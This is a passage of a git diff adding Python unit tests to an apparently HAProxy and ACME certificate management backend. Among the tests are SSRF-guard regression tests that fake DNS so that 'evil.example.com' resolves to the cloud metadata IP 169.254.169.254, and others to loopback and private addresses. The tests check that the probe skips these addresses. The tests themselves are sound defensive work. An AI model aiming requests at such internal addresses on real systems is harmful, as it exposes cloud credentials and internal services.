guard). Tests that exercise the success path must + monkeypatch DNS to a public-looking IP so the guard allows the + probe through.""" + def fake_gethostbyname_ex(domain): + return (domain, [], [ip]) + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + +@pytest.mark.asyncio +async def test_check_port80_ok_on_200(monkeypatch): + _mock_public_dns(monkeypatch) + def _ctor(*args, **kwargs): + return _FakeSession(statuses=[200, 200]) + + monkeypatch.setattr("aiohttp.ClientSession", _ctor) + + out = await check_port80(["a.example.com", "b.example.com"]) + assert out["status"] == "ok" + assert all(t["ok"] for t in out["details"]["targets"]) + + +@pytest.mark.asyncio +async def test_check_port80_ok_on_404(monkeypatch): + """404 on /.well-known/acme-challenge/* is a valid 'served' signal.""" + _mock_public_dns(monkeypatch) + def _ctor(*args, **kwargs): + return _FakeSession(statuses=[404]) + + monkeypatch.setattr("aiohttp.ClientSession", _ctor) + + out = await check_port80(["a.example.com"]) + assert out["status"] == "ok" + + +@pytest.mark.asyncio +async def test_check_port80_warn_on_egress_timeout(monkeypatch): + """Corporate egress blocks port 80 outbound — warn, don't fail.""" + _mock_public_dns(monkeypatch) + def _ctor(*args, **kwargs): + return _FakeSession(raise_timeout=True) + + monkeypatch.setattr("aiohttp.ClientSession", _ctor) + + out = await check_port80(["a.example.com"]) + assert out["status"] == "warn" + assert out["severity"] == "warn" + + +@pytest.mark.asyncio +async def test_check_port80_skips_private_ip_for_ssrf_guard(monkeypatch): + """R18b round 4 #B: SSRF guard. A domain that resolves to a + private/loopback/metadata IP must NOT trigger an outbound HTTP + request — the diagnostic must skip it with a warn-level row. + Pre-fix this was a usable SSRF primitive for any authenticated + operator.""" + def fake_gethostbyname_ex(domain): + # AWS / GCP metadata IP — most dangerous SSRF target + return (domain, [], ["169.254.169.254"]) + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + # Track whether ClientSession.head was called — it must not be. + head_called = [] + class _SpyClientSession: + def __init__(self, *args, **kwargs): + pass + async def __aenter__(self): + return self + async def __aexit__(self, *a, **k): + return None + def head(self, url, **kwargs): + head_called.append(url) + class _Resp: + async def __aenter__(self_inner): + self_inner.status = 200 + return self_inner + async def __aexit__(self_inner, *a, **k): + return None + return _Resp() + monkeypatch.setattr("aiohttp.ClientSession", _SpyClientSession) + + out = await check_port80(["evil.example.com"]) + assert head_called == [], ( + "SSRF guard regression: check_port80 issued an outbound HEAD " + "to a private-IP domain" + ) + targets = out["details"]["targets"] + assert any("non-public" in (t.get("skip") or "") for t in targets), ( + "SSRF guard regression: skip row missing for non-public IP" + ) + + +@pytest.mark.asyncio +async def test_check_port80_skips_loopback_ip_for_ssrf_guard(monkeypatch): + """SSRF guard must also block loopback (127.0.0.1).""" + def fake_gethostbyname_ex(domain): + return (domain, [], ["127.0.0.1"]) + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + head_called = [] + class _SpyClientSession: + def __init__(self, *args, **kwargs): + pass + async def __aenter__(self): + return self + async def __aexit__(self, *a, **k): + return None + def head(self, url, **kwargs): + head_called.append(url) + raise RuntimeError("should never be called") + monkeypatch.setattr("aiohttp.ClientSession", _SpyClientSession) + + out = await check_port80(["loopback.example.com"]) + assert head_called == [] + assert any("non-public" in (t.get("skip") or "") for t in out["details"]["targets"]) + + +@pytest.mark.asyncio +async def test_check_port80_skips_rfc1918_for_ssrf_guard(monkeypatch): + """SSRF guard must also block RFC1918 (10.0.0.0/8).""" + def fake_gethostbyname_ex(domain): + return (domain, [], ["10.0.0.42"]) + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + head_called = [] + class _SpyClientSession: + def __init__(self, *args, **kwargs): + pass + async def __aenter__(self): + return self + async def __aexit__(self, *a, **k): + return None + def head(self, url, **kwargs): + head_called.append(url) + raise RuntimeError("should never be called") + monkeypatch.setattr("aiohttp.ClientSession", _SpyClientSession) + + out = await check_port80(["internal.example.com"]) + assert head_called == [] + + +@pytest.mark.asyncio +async def test_check_port80_fail_on_client_error(monkeypatch): + _mock_public_dns(monkeypatch) + def _ctor(*args, **kwargs): + return _FakeSession(raise_client_error=True) + + monkeypatch.setattr("aiohttp.ClientSession", _ctor) + + out = await check_port80(["a.example.com"]) + assert out["status"] == "fail" + assert out["severity"] == "error" + + +@pytest.mark.asyncio +async def test_check_port80_skipped_when_only_wildcards(monkeypatch): + """We never probe wildcards (HTTP-01 is not applicable).""" + out = await check_port80(["*.example.com"]) + assert out["status"] == "skipped" + + +@pytest.mark.asyncio +async def test_check_port80_fail_on_500(monkeypatch): + _mock_public_dns(monkeypatch) + def _ctor(*args, **kwargs): + return _FakeSession(statuses=[500]) + + monkeypatch.setattr("aiohttp.ClientSession", _ctor) + out = await check_port80(["a.example.com"]) + assert out["status"] == "fail" + + +# ---------------------------------------------------------------------------- +# Routing check +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_check_routing_warn_when_no_clusters(): + conn = AsyncMock() + out = await check_routing(conn, ["a.example.com"], []) + assert out["status"] == "warn" + conn.fetch.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_check_routing_fail_when_no_port80_frontend(): + conn = AsyncMock() + conn.fetch.return_value = [] + out = await check_routing(conn, ["a.example.com"], [1]) + assert out["status"] == "fail" + assert "No HTTP frontend" in out["message"] + + +@pytest.mark.asyncio +async def test_check_routing_ok_when_port80_frontend_present(): + conn = AsyncMock() + conn.fetch.return_value = [ + {"id": 1, "name": "fe-http", "bind_address": "0.0.0.0", "bind_port": 80, + "mode": "http", "default_backend": "be"}, + ] + out = await check_routing(conn, ["a.example.com"], [1]) + assert out["status"] == "ok" + assert len(out["details"]["frontends"]) == 1 + + +# ---------------------------------------------------------------------------- +# Account check +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_check_account_fail_when_no_account_id(): + conn = AsyncMock() + out = await check_account(conn, None) + assert out["status"] == "fail" + assert "no ACME account id" in out["message"] + + +@pytest.mark.asyncio +async def test_check_account_fail_when_not_found(): + conn = AsyncMock() + conn.fetchrow.return_value = None + out = await check_account(conn, 99) + assert out["status"] == "fail" + assert "Account 99 not found" in out["message"] + + +@pytest.mark.asyncio +async def test_check_account_fail_when_status_invalid(): + conn = AsyncMock() + conn.fetchrow.return_value = { + "id": 1, + "email": "ops@example.com", + "status": "deactivated", + "account_url": "https://acme/acct/1", + } + out = await check_account(conn, 1) + assert out["status"] == "fail" + assert "deactivated" in out["message"] + + +@pytest.mark.asyncio +async def test_check_account_warn_when_url_missing(): + conn = AsyncMock() + conn.fetchrow.return_value = { + "id": 1, "email": "ops@example.com", + "status": "valid", "account_url": None, + } + out = await check_account(conn, 1) + assert out["status"] == "warn" + + +@pytest.mark.asyncio +async def test_check_account_ok(): + conn = AsyncMock() + conn.fetchrow.return_value = { + "id": 1, "email": "ops@example.com", + "status": "valid", "account_url": "https://acme/acct/1", + } + out = await check_account(conn, 1) + assert out["status"] == "ok" + assert out["severity"] == "info" + + +# ---------------------------------------------------------------------------- +# Agents check +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_check_agents_warn_when_no_clusters(): + conn = AsyncMock() + out = await check_agents(conn, []) + assert out["status"] == "warn" + conn.fetch.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_check_agents_fail_when_none_registered(): + conn = AsyncMock() + conn.fetch.return_value = [] + out = await check_agents(conn, [1]) + assert out["status"] == "fail" + + +@pytest.mark.asyncio +async def test_check_agents_warn_when_none_active(): + conn = AsyncMock() + conn.fetch.return_value = [ + {"id": 1, "hostname": "h1", "status": "offline", "last_heartbeat": None, + "cluster_id": 1, "cluster_name": "c1"}, + ] + out = await check_agents(conn, [1]) + assert out["status"] == "warn" + + +@pytest.mark.asyncio +async def test_check_agents_ok_with_active(): + conn = AsyncMock() + conn.fetch.return_value = [ + {"id": 1, "hostname": "h1", "status": "active", "last_heartbeat": None, + "cluster_id": 1, "cluster_name": "c1"}, + {"id": 2, "hostname": "h2", "status": "offline", "last_heartbeat": None, + "cluster_id": 1, "cluster_name": "c1"}, + ] + out = await check_agents(conn, [1]) + assert out["status"] == "ok" + assert "1 of 2" in out["message"] + + +# ---------------------------------------------------------------------------- +# run_checks orchestration +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_run_checks_full_suite_returns_all_five(monkeypatch): + monkeypatch.setattr(socket, "gethostbyname_ex", + lambda d: (d, [], ["10.0.0.1"])) + + def _ctor(*args, **kwargs): + return _FakeSession(statuses=[200]) + + monkeypatch.setattr("aiohttp.ClientSession", _ctor) + + conn = AsyncMock() + conn.fetch.return_value = [] + conn.fetchrow.return_value = None + + out = await run_checks( + conn, + domains=["a.example.com"], + cluster_ids=[1], + account_id=None, + ) + ids = [c["id"] for c in out] + assert ids == ["dns", "port80", "routing", "account", "agents"] + + +@pytest.mark.asyncio +async def test_run_checks_only_filter(monkeypatch): + """`only` lets the UI re-run a single check.""" + conn = AsyncMock() + conn.fetchrow.return_value = { + "id": 1, "email": "x@y", "status": "valid", "account_url": "https://acme/1", + } + out = await run_checks( + conn, domains=["a.example.com"], cluster_ids=[1], + account_id=1, only=["account"], + ) + assert len(out) == 1 + assert out[0]["id"] == "account" + + +@pytest.mark.asyncio +async def test_run_checks_unknown_only_returns_empty(): + conn = AsyncMock() + out = await run_checks( + conn, domains=["a.example.com"], cluster_ids=[1], + account_id=None, only=["bogus"], + ) + assert out == [] diff --git a/backend/tests/test_acme_event_log.py b/backend/tests/test_acme_event_log.py new file mode 100644 index 0000000..415a71f --- /dev/null +++ b/backend/tests/test_acme_event_log.py @@ -0,0 +1,256 @@ +""" +v1.5.0 Feature A — record_event() and prune_acme_events_and_drafts_if_due() unit tests. + +These tests validate: + * happy-path INSERT shape against acme_order_events, + * silent failure when the underlying table is missing (older deployments), + * conn-reuse path doesn't open/close a pool connection, + * daily-watermark logic correctly skips reruns within 24h. +""" +import json +from datetime import datetime, timedelta +from unittest.mock import AsyncMock, patch, MagicMock + +import pytest + +from utils.activity_log import ( + record_event, + prune_acme_events_and_drafts_if_due, +) + + +# ---------------------------------------------------------------------------- +# record_event happy path +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_record_event_happy_path_with_provided_conn(): + conn = AsyncMock() + conn.fetchval.return_value = 42 + + row_id = await record_event( + order_id=100, + event_type="acme.order.created", + severity="info", + message="Test event", + details={"foo": "bar"}, + correlation_id="corr-123", + conn=conn, + ) + + assert row_id == 42 + conn.fetchval.assert_awaited_once() + args = conn.fetchval.call_args.args + sql = args[0] + assert "INSERT INTO acme_order_events" in sql + # Positional args after the SQL template + assert args[1] == 100 # order_id + assert args[2] == "acme.order.created" # event_type + assert args[3] == "INFO" # severity normalized upper + assert args[4] == "Test event" # message + parsed_details = json.loads(args[5]) + assert parsed_details == {"foo": "bar"} + assert args[6] == "corr-123" + + +@pytest.mark.asyncio +async def test_record_event_severity_uppercased_default_info(): + conn = AsyncMock() + conn.fetchval.return_value = 1 + + await record_event(order_id=1, event_type="x", conn=conn) + args = conn.fetchval.call_args.args + assert args[3] == "INFO" + + +@pytest.mark.asyncio +async def test_record_event_dict_details_serialized_to_json(): + conn = AsyncMock() + conn.fetchval.return_value = 7 + + await record_event( + order_id=1, + event_type="x", + details={"k": [1, 2, 3], "nested": {"a": True}}, + conn=conn, + ) + args = conn.fetchval.call_args.args + parsed = json.loads(args[5]) + assert parsed == {"k": [1, 2, 3], "nested": {"a": True}} + + +@pytest.mark.asyncio +async def test_record_event_none_details_serialized_to_empty_object(): + conn = AsyncMock() + conn.fetchval.return_value = 1 + + await record_event(order_id=1, event_type="x", details=None, conn=conn) + args = conn.fetchval.call_args.args + parsed = json.loads(args[5]) + assert parsed == {} + + +# ---------------------------------------------------------------------------- +# record_event resilience +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_record_event_swallows_db_error_returns_none(): + """If the table doesn't exist or the DB rejects the insert, NEVER raise.""" + conn = AsyncMock() + conn.fetchval.side_effect = Exception( + 'relation "acme_order_events" does not exist' + ) + + row_id = await record_event(order_id=1, event_type="x", conn=conn) + assert row_id is None + + +@pytest.mark.asyncio +async def test_record_event_swallows_outer_failure_when_pool_unavailable(): + """If get_database_connection itself raises (pool exhausted), still return None.""" + with patch( + "utils.activity_log.get_database_connection", + side_effect=Exception("pool exhausted"), + ): + row_id = await record_event(order_id=1, event_type="x") + assert row_id is None + + +@pytest.mark.asyncio +async def test_record_event_acquires_and_releases_own_conn(): + """When no conn is supplied we must open one and release it.""" + fake_conn = AsyncMock() + fake_conn.fetchval.return_value = 99 + + with patch( + "utils.activity_log.get_database_connection", + AsyncMock(return_value=fake_conn), + ) as mocked_get, patch( + "utils.activity_log.close_database_connection", + AsyncMock(), + ) as mocked_close: + row_id = await record_event(order_id=1, event_type="x") + + assert row_id == 99 + mocked_get.assert_awaited_once() + mocked_close.assert_awaited_once_with(fake_conn) + + +@pytest.mark.asyncio +async def test_record_event_does_not_close_caller_provided_conn(): + """When conn is passed in, we must NOT close it.""" + conn = AsyncMock() + conn.fetchval.return_value = 1 + + with patch( + "utils.activity_log.close_database_connection", + AsyncMock(), + ) as mocked_close: + await record_event(order_id=1, event_type="x", conn=conn) + + mocked_close.assert_not_awaited() + + +# ---------------------------------------------------------------------------- +# prune_acme_events_and_drafts_if_due — daily watermark +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_prune_skips_when_last_run_is_recent(): + """If acme.events_last_pruned_at is < 24h old, skip the DELETE.""" + fake_conn = AsyncMock() + recent = (datetime.utcnow() - timedelta(hours=1)).isoformat() + "Z" + fake_conn.fetchrow.return_value = {"value": json.dumps(recent)} + + with patch( + "utils.activity_log.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "utils.activity_log.close_database_connection", + AsyncMock(), + ): + out = await prune_acme_events_and_drafts_if_due() + + assert out == {"acme_events": 0, "wizard_drafts": 0} + # Assert NO DELETE was issued: every conn.execute call was for INSERT or never called. + delete_calls = [ + c for c in fake_conn.execute.call_args_list + if c.args and "DELETE" in c.args[0] + ] + assert delete_calls == [] + + +@pytest.mark.asyncio +async def test_prune_runs_when_last_run_is_stale(): + """If watermark is > 24h old, prune executes and watermark updates.""" + fake_conn = AsyncMock() + + stale = (datetime.utcnow() - timedelta(hours=48)).isoformat() + "Z" + # First fetchrow is for acme key, second for wizard key. + fake_conn.fetchrow.side_effect = [ + {"value": json.dumps(stale)}, + {"value": json.dumps(stale)}, + ] + + # asyncpg returns "DELETE " string for DELETE statements. + fake_conn.execute.side_effect = [ + "DELETE 5", # acme_order_events delete + "INSERT 0 1", # watermark upsert for acme + "DELETE 2", # wizard_drafts delete + "INSERT 0 1", # watermark upsert for wizard + ] + + with patch( + "utils.activity_log.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "utils.activity_log.close_database_connection", + AsyncMock(), + ): + out = await prune_acme_events_and_drafts_if_due() + + assert out == {"acme_events": 5, "wizard_drafts": 2} + # Verify both DELETE queries were issued. + delete_sqls = [ + c.args[0] for c in fake_conn.execute.call_args_list + if c.args and "DELETE" in c.args[0] + ] + assert any("acme_order_events" in s for s in delete_sqls) + assert any("wizard_drafts" in s for s in delete_sqls) + + +@pytest.mark.asyncio +async def test_prune_runs_on_first_run_when_watermark_missing(): + """Missing watermark row should NOT block first-run prune.""" + fake_conn = AsyncMock() + fake_conn.fetchrow.return_value = None + fake_conn.execute.side_effect = [ + "DELETE 0", "INSERT 0 1", + "DELETE 0", "INSERT 0 1", + ] + + with patch( + "utils.activity_log.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "utils.activity_log.close_database_connection", + AsyncMock(), + ): + out = await prune_acme_events_and_drafts_if_due() + + assert out == {"acme_events": 0, "wizard_drafts": 0} + + +@pytest.mark.asyncio +async def test_prune_swallows_top_level_db_failure(): + """If the connection itself fails, return zeros, never raise.""" + with patch( + "utils.activity_log.get_database_connection", + side_effect=Exception("db down"), + ): + out = await prune_acme_events_and_drafts_if_due() + assert out == {"acme_events": 0, "wizard_drafts": 0} diff --git a/backend/tests/test_acme_humanizer.py b/backend/tests/test_acme_humanizer.py new file mode 100644 index 0000000..7f4d06e --- /dev/null +++ b/backend/tests/test_acme_humanizer.py @@ -0,0 +1,171 @@ +""" +v1.5.0 Feature A — humanize_error_detail() unit tests. + +Table-driven coverage of the RFC8555 problem types we humanize, plus +backwards-compatible behaviour for legacy plain-string error_detail values +that were written by v1.3.x and earlier. +""" +import json +import pytest + +from services.acme_diagnostics import humanize_error_detail, _PROBLEM_HUMANIZED + + +# ---------------------------------------------------------------------------- +# 1. Static coverage — we promise >= 11 RFC8555 problem types are humanized. +# ---------------------------------------------------------------------------- + + +def test_humanizes_at_least_11_rfc8555_problem_types(): + assert len(_PROBLEM_HUMANIZED) >= 11 + + +def test_every_humanized_entry_has_title_and_hint(): + for ptype, body in _PROBLEM_HUMANIZED.items(): + assert "title" in body and body["title"], ptype + assert "hint" in body, ptype + + +# ---------------------------------------------------------------------------- +# 2. Empty / None handling. +# ---------------------------------------------------------------------------- + + +def test_none_returns_no_error_marker(): + out = humanize_error_detail(None) + assert out["title"] == "No error" + assert out["message"] == "" + + +def test_empty_string_returns_no_error_marker(): + out = humanize_error_detail("") + assert out["title"] == "No error" + + +# ---------------------------------------------------------------------------- +# 3. Legacy plain-string fallback (pre-v1.5.0 stored unstructured strings). +# ---------------------------------------------------------------------------- + + +def test_legacy_plain_string_falls_back_cleanly(): + out = humanize_error_detail("connection refused: agent offline") + assert out["title"] == "ACME error" + assert "connection refused" in out["message"] + # The hint is empty because we don't have a structured problem type. + assert out["hint"] == "" + assert out["raw"] == "connection refused: agent offline" + + +def test_legacy_plain_string_with_brace_but_invalid_json_falls_back(): + # Defensive: '{' prefix is the trigger for JSON parse, but garbled JSON + # must NOT raise. It should fall through to the legacy string path. + out = humanize_error_detail("{not valid json{") + assert out["title"] == "ACME error" + assert out["raw"] == "{not valid json{" + + +# ---------------------------------------------------------------------------- +# 4. Structured RFC8555 problem types — table-driven across 11+ entries. +# ---------------------------------------------------------------------------- + + +@pytest.mark.parametrize("problem_type,detail_text,expected_title_contains", [ + ("urn:ietf:params:acme:error:rateLimited", "too many orders", "rate limit"), + ("urn:ietf:params:acme:error:dns", "no A record", "DNS"), + ("urn:ietf:params:acme:error:caa", "issuance forbidden", "CAA"), + ("urn:ietf:params:acme:error:connection", "timeout to :80", "could not connect"), + ("urn:ietf:params:acme:error:incorrectResponse", "wrong key auth", "challenge response"), + ("urn:ietf:params:acme:error:unauthorized", "verification failed", "Unauthorized"), + ("urn:ietf:params:acme:error:malformed", "missing field 'csr'", "Malformed"), + ("urn:ietf:params:acme:error:badNonce", "stale nonce", "nonce"), + ("urn:ietf:params:acme:error:rejectedIdentifier", "blacklisted", "rejected"), + ("urn:ietf:params:acme:error:serverInternal", "internal err", "ACME server"), + ("urn:ietf:params:acme:error:userActionRequired", "agree to ToS", "User action"), +]) +def test_known_problem_types_are_humanized(problem_type, detail_text, expected_title_contains): + payload = json.dumps({"type": problem_type, "detail": detail_text, "status": 400}) + out = humanize_error_detail(payload) + assert expected_title_contains.lower() in out["title"].lower(), ( + f"Title '{out['title']}' missing expected substring '{expected_title_contains}'" + ) + assert out["message"] == detail_text + assert out["status"] == 400 + assert out["type"] == problem_type + # Hint should be a non-empty operator-targeted string + assert isinstance(out["hint"], str) and len(out["hint"]) > 10 + + +def test_unknown_problem_type_falls_back_to_generic_title(): + payload = json.dumps({ + "type": "urn:ietf:params:acme:error:notARealType", + "detail": "future error", + "status": 500, + }) + out = humanize_error_detail(payload) + assert out["title"] == "ACME error" + assert out["message"] == "future error" + assert out["hint"] == "" + assert out["status"] == 500 + assert out["type"] == "urn:ietf:params:acme:error:notARealType" + + +# ---------------------------------------------------------------------------- +# 5. Subproblems (per-domain failures) flatten cleanly. +# ---------------------------------------------------------------------------- + + +def test_subproblems_are_flattened(): + payload = json.dumps({ + "type": "urn:ietf:params:acme:error:malformed", + "detail": "multiple validation failures", + "status": 400, + "subproblems": [ + { + "type": "urn:ietf:params:acme:error:dns", + "detail": "no record for foo", + "identifier": {"type": "dns", "value": "foo.example.com"}, + }, + { + "type": "urn:ietf:params:acme:error:caa", + "detail": "caa forbids", + "identifier": {"type": "dns", "value": "bar.example.com"}, + }, + ], + }) + out = humanize_error_detail(payload) + assert "subproblems" in out + assert len(out["subproblems"]) == 2 + sp = {item["identifier"]: item for item in out["subproblems"]} + assert sp["foo.example.com"]["type"] == "urn:ietf:params:acme:error:dns" + assert sp["bar.example.com"]["detail"] == "caa forbids" + + +def test_subproblems_with_garbage_entries_are_filtered(): + payload = json.dumps({ + "type": "urn:ietf:params:acme:error:malformed", + "detail": "x", + "subproblems": [ + "not a dict", # filtered out + None, # filtered out + {"type": "urn:ietf:params:acme:error:dns", "detail": "ok"}, + ], + }) + out = humanize_error_detail(payload) + assert len(out["subproblems"]) == 1 + assert out["subproblems"][0]["detail"] == "ok" + + +# ---------------------------------------------------------------------------- +# 6. Dict input is accepted directly (avoids double-encode in some callers). +# ---------------------------------------------------------------------------- + + +def test_dict_input_handled_directly(): + out = humanize_error_detail({ + "type": "urn:ietf:params:acme:error:rateLimited", + "detail": "limit reached", + "status": 429, + }) + assert "rate limit" in out["title"].lower() + assert out["message"] == "limit reached" + assert out["status"] == 429 diff --git a/backend/tests/test_apply_service_extraction.py b/backend/tests/test_apply_service_extraction.py new file mode 100644 index 0000000..626b4d9 --- /dev/null +++ b/backend/tests/test_apply_service_extraction.py @@ -0,0 +1,183 @@ +""" +v1.5.0 service extraction parity — apply_service. + +Asserts: +- _resolve_user_id falls back to the first active admin user using the + CORRECT schema columns (is_admin, is_active) — NOT the non-existent + is_super_admin (M46/R65). +- _mint_internal_jwt passes user_id under both `sub` and `user_id` claims so + it round-trips through get_current_user_from_token. +- apply_cluster_pending delegates to routers.cluster.apply_pending_changes + with a Bearer header (i.e. NEVER duplicates the ~800-line apply pipeline). +""" +from unittest.mock import AsyncMock, patch + +import pytest + +from services.apply_service import ( + _mint_internal_jwt, + _resolve_user_id, + apply_cluster_pending, +) + + +# ---------------------------------------------------------------------------- +# _resolve_user_id +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_resolve_user_id_passthrough_when_user_still_valid(): + """Bulgu #27: a still-active user_id is returned as-is after re-validation.""" + fake_conn = AsyncMock() + # First fetchval validates the requested user, returns its id. + fake_conn.fetchval.return_value = 42 + + with patch( + "services.apply_service.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "services.apply_service.close_database_connection", + AsyncMock(), + ): + out = await _resolve_user_id(42) + assert out == 42 + + +@pytest.mark.asyncio +async def test_resolve_user_id_falls_back_when_requested_user_inactive(): + """Bulgu #27: deleted/deactivated created_by must NOT mint a ghost JWT — + fall back to the admin user instead.""" + fake_conn = AsyncMock() + # Validation lookup returns None (user gone/inactive); admin fallback returns 1. + fake_conn.fetchval.side_effect = [None, 1] + + with patch( + "services.apply_service.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "services.apply_service.close_database_connection", + AsyncMock(), + ): + out = await _resolve_user_id(99) + + assert out == 1 + assert fake_conn.fetchval.await_count == 2 + + +@pytest.mark.asyncio +async def test_resolve_user_id_falls_back_to_active_admin(): + fake_conn = AsyncMock() + fake_conn.fetchval.return_value = 1 # admin id + + with patch( + "services.apply_service.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "services.apply_service.close_database_connection", + AsyncMock(), + ): + out = await _resolve_user_id(None) + + assert out == 1 + sql, *_ = fake_conn.fetchval.call_args.args + # Schema accuracy: is_admin AND is_active (NOT is_super_admin) + assert "is_admin" in sql + assert "is_active" in sql + assert "is_super_admin" not in sql + + +@pytest.mark.asyncio +async def test_resolve_user_id_returns_none_when_no_admin(): + fake_conn = AsyncMock() + fake_conn.fetchval.return_value = None + with patch( + "services.apply_service.get_database_connection", + AsyncMock(return_value=fake_conn), + ), patch( + "services.apply_service.close_database_connection", + AsyncMock(), + ): + out = await _resolve_user_id(None) + assert out is None + + +# ---------------------------------------------------------------------------- +# _mint_internal_jwt +# ---------------------------------------------------------------------------- + + +def test_mint_internal_jwt_includes_both_claim_shapes(): + """sub + user_id ensures compat with get_current_user_from_token.""" + captured = {} + + def fake_create(payload, expires_delta=None): + captured.update(payload) + captured["__expires"] = expires_delta + return "fake-jwt-token" + + with patch("services.apply_service.create_access_token", side_effect=fake_create): + token = _mint_internal_jwt(99) + + assert token == "fake-jwt-token" + assert captured["sub"] == "99" + assert captured["user_id"] == 99 + assert captured["__expires"] is not None + + +# ---------------------------------------------------------------------------- +# apply_cluster_pending +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_apply_cluster_pending_raises_when_no_admin_available(): + with patch( + "services.apply_service._resolve_user_id", + AsyncMock(return_value=None), + ): + with pytest.raises(RuntimeError, match="no admin user available"): + await apply_cluster_pending(cluster_id=1) + + +@pytest.mark.asyncio +async def test_apply_cluster_pending_delegates_to_router_with_bearer(): + """Delegate, don't duplicate. We pass through cluster_id, apply_request, + and a Bearer auth header. + """ + apply_mock = AsyncMock(return_value={"applied_count": 3}) + + # Patch the local-imported symbol via routers.cluster + with patch( + "services.apply_service._resolve_user_id", + AsyncMock(return_value=42), + ), patch( + "services.apply_service._mint_internal_jwt", + return_value="fake.jwt.token", + ), patch("routers.cluster.apply_pending_changes", apply_mock): + out = await apply_cluster_pending( + cluster_id=7, + apply_request={"force": True}, + ) + + assert out == {"applied_count": 3} + kwargs = apply_mock.call_args.kwargs + assert kwargs["cluster_id"] == 7 + assert kwargs["apply_request"] == {"force": True} + assert kwargs["authorization"].startswith("Bearer ") + assert "fake.jwt.token" in kwargs["authorization"] + + +@pytest.mark.asyncio +async def test_apply_cluster_pending_default_empty_apply_request(): + apply_mock = AsyncMock(return_value={}) + with patch( + "services.apply_service._resolve_user_id", + AsyncMock(return_value=1), + ), patch( + "services.apply_service._mint_internal_jwt", + return_value="t", + ), patch("routers.cluster.apply_pending_changes", apply_mock): + await apply_cluster_pending(cluster_id=1) + kwargs = apply_mock.call_args.kwargs + assert kwargs["apply_request"] == {} diff --git a/backend/tests/test_backend_service_extraction.py b/backend/tests/test_backend_service_extraction.py new file mode 100644 index 0000000..b77cdec --- /dev/null +++ b/backend/tests/test_backend_service_extraction.py @@ -0,0 +1,176 @@ +""" +v1.5.0 service extraction parity — backend_service. + +Asserts that create_backend_row + create_server_row pass the SAME column-set +and ordering that POST /api/backends and POST /api/backends/{id}/servers +already use. This protects us from a subtle field-drift regression that +would only surface as silent NULL columns in the wizard's bulk-create. + +Notes: +- We don't run the actual SQL, we capture the SQL+args via a mock conn and + assert on the column names + argument count. +- M13 helper extension: mark_pending=True must follow the INSERT with a + UPDATE last_config_status='PENDING' (matching the existing endpoint). +""" +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from services.backend_service import ( + _filter_httpchk_from_options, + create_backend_row, + create_server_row, +) + + +# ---------------------------------------------------------------------------- +# _filter_httpchk_from_options +# ---------------------------------------------------------------------------- + + +def test_filter_httpchk_strips_only_httpchk_lines(): + raw = "option httpchk GET /healthz\noption http-server-close\nbalance roundrobin" + out = _filter_httpchk_from_options(raw) + assert "httpchk" not in out + assert "http-server-close" in out + assert "balance roundrobin" in out + + +def test_filter_httpchk_handles_empty_input(): + assert _filter_httpchk_from_options(None) is None + assert _filter_httpchk_from_options("") == "" + + +def test_filter_httpchk_handles_only_httpchk_returns_none(): + assert _filter_httpchk_from_options("option httpchk GET /") is None + + +# ---------------------------------------------------------------------------- +# create_backend_row column parity +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_create_backend_row_inserts_all_expected_columns(): + conn = AsyncMock() + conn.fetchval.return_value = 7 + + payload = SimpleNamespace( + name="be_test", + balance_method="leastconn", + mode="http", + health_check_uri="/healthz", + health_check_interval=2000, + health_check_expected_status=200, + timeout_connect=10000, + timeout_server=60000, + timeout_queue=60000, + options=None, + ) + + new_id = await create_backend_row(conn, payload, cluster_id=1) + assert new_id == 7 + + # Verify INSERT shape + sql, *args = conn.fetchval.call_args.args + assert "INSERT INTO backends" in sql + # 19 placeholders => 19 args + assert len(args) == 19 + assert args[0] == "be_test" + assert args[1] == "leastconn" + assert args[18] == 1 # cluster_id last positional + + # mark_pending=True default → UPDATE last_config_status='PENDING' + update_calls = [c for c in conn.execute.call_args_list + if c.args and "UPDATE backends" in c.args[0]] + assert len(update_calls) == 1 + assert "last_config_status='PENDING'" in update_calls[0].args[0] + + +@pytest.mark.asyncio +async def test_create_backend_row_mark_pending_false_skips_update(): + conn = AsyncMock() + conn.fetchval.return_value = 5 + payload = SimpleNamespace( + name="be_x", balance_method="roundrobin", mode="http", + ) + await create_backend_row(conn, payload, cluster_id=1, mark_pending=False) + + update_calls = [c for c in conn.execute.call_args_list + if c.args and "UPDATE backends" in c.args[0]] + assert update_calls == [] + + +@pytest.mark.asyncio +async def test_create_backend_row_filters_httpchk_from_options(): + conn = AsyncMock() + conn.fetchval.return_value = 1 + payload = SimpleNamespace( + name="be_x", + balance_method="roundrobin", + mode="http", + options="option httpchk GET /\nbalance roundrobin", + ) + await create_backend_row(conn, payload, cluster_id=1) + sql, *args = conn.fetchval.call_args.args + options_arg = args[14] # 15th positional (1-indexed $15) + assert "httpchk" not in (options_arg or "") + assert "balance roundrobin" in (options_arg or "") + + +# ---------------------------------------------------------------------------- +# create_server_row column parity +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_create_server_row_inserts_all_expected_columns(): + conn = AsyncMock() + conn.fetchval.return_value = 11 + + server = SimpleNamespace( + server_name="srv1", + server_address="10.0.0.1", + server_port=8080, + 